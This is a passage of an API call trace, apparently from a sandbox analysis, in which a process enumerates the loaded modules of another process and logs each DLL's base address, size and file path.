(in: hProcess=0x514, hModule=0x75130000, lpmodinfo=0x27c4488, cb=0xc | out: lpmodinfo=0x27c4488*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0057.493] GetLastError () returned 0x2 [0057.493] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0057.494] GetLastError () returned 0x2 [0057.494] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0057.494] GetLastError () returned 0x2 [0057.494] GetModuleInformation (in: hProcess=0x514, hModule=0x75090000, lpmodinfo=0x27c5574, cb=0xc | out: lpmodinfo=0x27c5574*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0057.494] GetLastError () returned 0x2 [0057.494] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0057.495] GetLastError () returned 0x2 [0057.495] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0057.495] GetLastError () returned 0x2 [0057.495] GetModuleInformation (in: hProcess=0x514, hModule=0x75b60000, lpmodinfo=0x27c66f8, cb=0xc | out: lpmodinfo=0x27c66f8*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0057.496] GetLastError () returned 0x2 [0057.496] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0057.496] GetLastError () returned 0x2 [0057.496] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0057.496] GetLastError () returned 0x2 [0057.496] GetModuleInformation (in: hProcess=0x514, hModule=0x75150000, lpmodinfo=0x27c77ec, cb=0xc | out: lpmodinfo=0x27c77ec*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0057.497] GetLastError () returned 0x2 [0057.497] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0057.497] GetLastError () returned 0x2 [0057.497] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0057.498] GetLastError () returned 0x2 [0057.498] GetModuleInformation (in: hProcess=0x514, hModule=0x74a90000, lpmodinfo=0x27c88e0, cb=0xc | out: lpmodinfo=0x27c88e0*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0057.498] GetLastError () returned 0x2 [0057.498] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0057.499] GetLastError () returned 0x2 [0057.499] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0057.499] GetLastError () returned 0x2 [0057.499] GetModuleInformation (in: hProcess=0x514, hModule=0x74000000, lpmodinfo=0x27c99dc, cb=0xc | out: lpmodinfo=0x27c99dc*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0057.499] GetLastError () returned 0x2 [0057.499] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74000000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0057.500] GetLastError () returned 0x2 [0057.500] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74000000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0057.500] GetLastError () returned 0x2 [0057.500] GetModuleInformation (in: hProcess=0x514, hModule=0x749f0000, lpmodinfo=0x27cab14, cb=0xc | out: lpmodinfo=0x27cab14*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0057.501] GetLastError () returned 0x2 [0057.501] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0057.501] GetLastError () returned 0x2 [0057.501] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0057.502] GetLastError () returned 0x2 [0057.502] GetModuleInformation (in: hProcess=0x514, hModule=0x75fd0000, lpmodinfo=0x27cbca8, cb=0xc | out: lpmodinfo=0x27cbca8*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0057.502] GetLastError () returned 0x2 [0057.502] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75fd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0057.503] GetLastError () returned 0x2 [0057.503] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75fd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0057.503] GetLastError () returned 0x2 [0057.503] GetModuleInformation (in: hProcess=0x514, hModule=0x755e0000, lpmodinfo=0x27ccda4, cb=0xc | out: lpmodinfo=0x27ccda4*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0057.504] GetLastError () returned 0x2 [0057.504] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x755e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0057.504] GetLastError () returned 0x2 [0057.504] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x755e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0057.505] GetLastError () returned 0x2 [0057.505] GetModuleInformation (in: hProcess=0x514, hModule=0x749e0000, lpmodinfo=0x27cde98, cb=0xc | out: lpmodinfo=0x27cde98*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0057.505] GetLastError () returned 0x2 [0057.505] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0057.506] GetLastError () returned 0x2 [0057.506] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0057.506] GetLastError () returned 0x2 [0057.506] GetModuleInformation (in: hProcess=0x514, hModule=0x729c0000, lpmodinfo=0x27cef94, cb=0xc | out: lpmodinfo=0x27cef94*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0057.507] GetLastError () returned 0x2 [0057.507] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x729c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0057.507] GetLastError () returned 0x2 [0057.507] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x729c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0057.508] GetLastError () returned 0x2 [0057.508] GetModuleInformation (in: hProcess=0x514, hModule=0x745d0000, lpmodinfo=0x27d012c, cb=0xc | out: lpmodinfo=0x27d012c*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0057.508] GetLastError () returned 0x2 [0057.508] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x745d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0057.509] GetLastError () returned 0x2 [0057.509] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x745d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0057.509] GetLastError () returned 0x2 [0057.509] GetModuleInformation (in: hProcess=0x514, hModule=0x747d0000, lpmodinfo=0x27d1228, cb=0xc | out: lpmodinfo=0x27d1228*(lpBaseOfDll=0x747d0000, SizeOfImage=0x16000, EntryPoint=0x747d2dc3)) returned 1 [0057.510] GetLastError () returned 0x2 [0057.510] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x747d0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0057.510] GetLastError () returned 0x2 [0057.510] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x747d0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0057.511] GetLastError () returned 0x2 [0057.511] GetModuleInformation (in: hProcess=0x514, hModule=0x74790000, lpmodinfo=0x27d2324, cb=0xc | out: lpmodinfo=0x27d2324*(lpBaseOfDll=0x74790000, SizeOfImage=0x3b000, EntryPoint=0x7479128d)) returned 1 [0057.511] GetLastError () returned 0x2 [0057.512] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74790000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0057.512] GetLastError () returned 0x2 [0057.512] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74790000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0057.513] GetLastError () returned 0x2 [0057.513] GetModuleInformation (in: hProcess=0x514, hModule=0x74920000, lpmodinfo=0x27d3420, cb=0xc | out: lpmodinfo=0x27d3420*(lpBaseOfDll=0x74920000, SizeOfImage=0x5b000, EntryPoint=0x74964d48)) returned 1 [0057.513] GetLastError () returned 0x2 [0057.513] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74920000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0057.514] GetLastError () returned 0x2 [0057.514] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74920000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0057.514] GetLastError () returned 0x2 [0057.514] GetModuleInformation (in: hProcess=0x514, hModule=0x71a80000, lpmodinfo=0x27d4558, cb=0xc | out: lpmodinfo=0x27d4558*(lpBaseOfDll=0x71a80000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0057.515] GetLastError () returned 0x2 [0057.515] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x71a80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0057.516] GetLastError () returned 0x2 [0057.516] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x71a80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0057.517] GetLastError () returned 0x2 [0057.517] GetModuleInformation (in: hProcess=0x514, hModule=0x73e70000, lpmodinfo=0x27d56e4, cb=0xc | out: lpmodinfo=0x27d56e4*(lpBaseOfDll=0x73e70000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0057.517] GetLastError () returned 0x2 [0057.517] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73e70000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0057.518] GetLastError () returned 0x2 [0057.518] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73e70000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0057.518] GetLastError () returned 0x2 [0057.518] GetModuleInformation (in: hProcess=0x514, hModule=0x70ea0000, lpmodinfo=0x27d68a0, cb=0xc | out: lpmodinfo=0x27d68a0*(lpBaseOfDll=0x70ea0000, SizeOfImage=0xbde000, EntryPoint=0x0)) returned 1 [0057.519] GetLastError () returned 0x2 [0057.519] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x70ea0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0057.520] GetLastError () returned 0x2 [0057.520] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x70ea0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")) returned 0x80 [0057.520] GetLastError () returned 0x2 [0057.520] GetModuleInformation (in: hProcess=0x514, hModule=0x73cd0000, lpmodinfo=0x27d7b90, cb=0xc | out: lpmodinfo=0x27d7b90*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0057.521] GetLastError () returned 0x2 [0057.521] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73cd0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0057.521] GetLastError () returned 0x2 [0057.522] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73cd0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0057.522] GetLastError () returned 0x2 [0057.522] GetModuleInformation (in: hProcess=0x514, hModule=0x749c0000, lpmodinfo=0x27d8d74, cb=0xc | out: lpmodinfo=0x27d8d74*(lpBaseOfDll=0x749c0000, SizeOfImage=0x17000, EntryPoint=0x749c35fa)) returned 1 [0057.523] GetLastError () returned 0x2 [0057.523] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749c0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0057.523] GetLastError () returned 0x2 [0057.523] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749c0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0057.524] GetLastError () returned 0x2 [0057.524] GetModuleInformation (in: hProcess=0x514, hModule=0x749b0000, lpmodinfo=0x27d9e70, cb=0xc | out: lpmodinfo=0x27d9e70*(lpBaseOfDll=0x749b0000, SizeOfImage=0xe000, EntryPoint=0x749b1235)) returned 1 [0057.525] GetLastError () returned 0x2 [0057.525] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RpcRtRemote.dll") returned 0xf [0057.525] GetLastError () returned 0x2 [0057.525] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")) returned 0x23 [0057.526] GetLastError () returned 0x2 [0057.526] GetModuleInformation (in: hProcess=0x514, hModule=0x752b0000, lpmodinfo=0x27daf7c, cb=0xc | out: lpmodinfo=0x27daf7c*(lpBaseOfDll=0x752b0000, SizeOfImage=0x83000, EntryPoint=0x752b23d2)) returned 1 [0057.527] GetLastError () returned 0x2 [0057.527] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x752b0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0057.527] GetLastError () returned 0x2 [0057.527] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x752b0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0057.528] GetLastError () returned 0x2 [0057.528] GetModuleInformation (in: hProcess=0x514, hModule=0x75220000, lpmodinfo=0x27dc078, cb=0xc | out: lpmodinfo=0x27dc078*(lpBaseOfDll=0x75220000, SizeOfImage=0x8f000, EntryPoint=0x75223fb1)) returned 1 [0057.529] GetLastError () returned 0x2 [0057.529] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75220000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0057.529] GetLastError () returned 0x2 [0057.530] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75220000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0057.530] GetLastError () returned 0x2 [0057.530] GetModuleInformation (in: hProcess=0x514, hModule=0x748e0000, lpmodinfo=0x27dd17c, cb=0xc | out: lpmodinfo=0x27dd17c*(lpBaseOfDll=0x748e0000, SizeOfImage=0x31000, EntryPoint=0x748e12d7)) returned 1 [0057.531] GetLastError () returned 0x2 [0057.531] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x748e0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemdisp.dll") returned 0xc [0057.532] GetLastError () returned 0x2 [0057.532] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x748e0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll")) returned 0x25 [0057.532] GetLastError () returned 0x2 [0057.532] GetModuleInformation (in: hProcess=0x514, hModule=0x74880000, lpmodinfo=0x27de288, cb=0xc | out: lpmodinfo=0x27de288*(lpBaseOfDll=0x74880000, SizeOfImage=0x5c000, EntryPoint=0x748a2b48)) returned 1 [0057.533] GetLastError () returned 0x2 [0057.533] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74880000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemcomn.dll") returned 0xc [0057.534] GetLastError () returned 0x2 [0057.534] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74880000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")) returned 0x20 [0057.535] GetLastError () returned 0x2 [0057.535] GetModuleInformation (in: hProcess=0x514, hModule=0x75bc0000, lpmodinfo=0x27df38c, cb=0xc | out: lpmodinfo=0x27df38c*(lpBaseOfDll=0x75bc0000, SizeOfImage=0x35000, EntryPoint=0x75bc145d)) returned 1 [0057.535] GetLastError () returned 0x2 [0057.535] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x75bc0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="WS2_32.dll") returned 0xa [0057.536] GetLastError () returned 0x2 [0057.536] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x75bc0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\WS2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")) returned 0x1e [0057.537] GetLastError () returned 0x2 [0057.537] GetModuleInformation (in: hProcess=0x514, hModule=0x74d30000, lpmodinfo=0x27e0488, cb=0xc | out: lpmodinfo=0x27e0488*(lpBaseOfDll=0x74d30000, SizeOfImage=0x6000, EntryPoint=0x74d31782)) returned 1 [0057.538] GetLastError () returned 0x2 [0057.538] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74d30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NSI.dll") returned 0x7 [0057.538] GetLastError () returned 0x2 [0057.538] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74d30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\NSI.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")) returned 0x1b [0057.539] GetLastError () returned 0x2 [0057.539] GetModuleInformation (in: hProcess=0x514, hModule=0x749a0000, lpmodinfo=0x27e1574, cb=0xc | out: lpmodinfo=0x27e1574*(lpBaseOfDll=0x749a0000, SizeOfImage=0xa000, EntryPoint=0x749a149a)) returned 1 [0057.540] GetLastError () returned 0x2 [0057.540] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x749a0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemprox.dll") returned 0xc [0057.541] GetLastError () returned 0x2 [0057.541] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x749a0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")) returned 0x25 [0057.541] GetLastError () returned 0x2 [0057.541] GetModuleInformation (in: hProcess=0x514, hModule=0x74980000, lpmodinfo=0x27e2680, cb=0xc | out: lpmodinfo=0x27e2680*(lpBaseOfDll=0x74980000, SizeOfImage=0x17000, EntryPoint=0x749876c5)) returned 1 [0057.542] GetLastError () returned 0x2 [0057.542] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74980000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wmiutils.dll") returned 0xc [0057.543] GetLastError () returned 0x2 [0057.543] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74980000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")) returned 0x25 [0057.544] GetLastError () returned 0x2 [0057.544] GetModuleInformation (in: hProcess=0x514, hModule=0x74870000, lpmodinfo=0x27e378c, cb=0xc | out: lpmodinfo=0x27e378c*(lpBaseOfDll=0x74870000, SizeOfImage=0xf000, EntryPoint=0x748721a0)) returned 1 [0057.544] GetLastError () returned 0x2 [0057.544] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74870000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="wbemsvc.dll") returned 0xb [0057.545] GetLastError () returned 0x2 [0057.545] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74870000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")) returned 0x24 [0057.546] GetLastError () returned 0x2 [0057.546] GetModuleInformation (in: hProcess=0x514, hModule=0x73c30000, lpmodinfo=0x27e4894, cb=0xc | out: lpmodinfo=0x27e4894*(lpBaseOfDll=0x73c30000, SizeOfImage=0x96000, EntryPoint=0x73c4f8b9)) returned 1 [0057.547] GetLastError () returned 0x2 [0057.547] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x73c30000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="fastprox.dll") returned 0xc [0057.548] GetLastError () returned 0x2 [0057.548] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x73c30000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")) returned 0x25 [0057.548] GetLastError () returned 0x2 [0057.549] GetModuleInformation (in: hProcess=0x514, hModule=0x74850000, lpmodinfo=0x27e59a0, cb=0xc | out: lpmodinfo=0x27e59a0*(lpBaseOfDll=0x74850000, SizeOfImage=0x18000, EntryPoint=0x74851335)) returned 1 [0057.549] GetLastError () returned 0x2 [0057.549] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74850000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="NTDSAPI.dll") returned 0xb [0057.550] GetLastError () returned 0x2 [0057.550] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74850000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\NTDSAPI.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")) returned 0x1f [0057.551] GetLastError () returned 0x2 [0057.551] GetModuleInformation (in: hProcess=0x514, hModule=0x747f0000, lpmodinfo=0x27e6a9c, cb=0xc | out: lpmodinfo=0x27e6a9c*(lpBaseOfDll=0x747f0000, SizeOfImage=0x5f000, EntryPoint=0x747f2134)) returned 1 [0057.552] GetLastError () returned 0x2 [0057.552] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x747f0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SXS.DLL") returned 0x7 [0057.553] GetLastError () returned 0x2 [0057.553] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x747f0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\SXS.DLL" (normalized: "c:\\windows\\system32\\sxs.dll")) returned 0x1b [0057.553] GetLastError () returned 0x2 [0057.553] GetModuleInformation (in: hProcess=0x514, hModule=0x74750000, lpmodinfo=0x27e7b88, cb=0xc | out: lpmodinfo=0x27e7b88*(lpBaseOfDll=0x74750000, SizeOfImage=0x3a000, EntryPoint=0x0)) returned 1 [0057.554] GetLastError () returned 0x2 [0057.554] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x74750000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.ni.dll") returned 0x17 [0057.555] GetLastError () returned 0x2 [0057.555] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x74750000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")) returned 0x78 [0057.556] GetLastError () returned 0x2 [0057.556] GetModuleInformation (in: hProcess=0x514, hModule=0x60350000, lpmodinfo=0x27e8d50, cb=0xc | out: lpmodinfo=0x27e8d50*(lpBaseOfDll=0x60350000, SizeOfImage=0x15000, EntryPoint=0x603547b6)) returned 1 [0057.557] GetLastError () returned 0x2 [0057.557] GetModuleBaseNameW (in: hProcess=0x514, hModule=0x60350000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CustomMarshalers.dll") returned 0x14 [0057.558] GetLastError () returned 0x2 [0057.558] GetModuleFileNameExW (in: hProcess=0x514, hModule=0x60350000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")) returned 0x5a [0057.559] GetLastError () returned 0x2 [0057.559] GetModuleInformation (in: hProcess=0x514, hModule=0x73b20000, lpmodinfo=0x27e9ed8, cb=0xc | out: lpmodinfo=0x27e9ed8*(lpBaseOfDll=0x73b20000, SizeOfImage=0x104000, EntryPoint=0x0)) returned 1 [0057.559] GetLastError () returned 0x2 [0057.559] 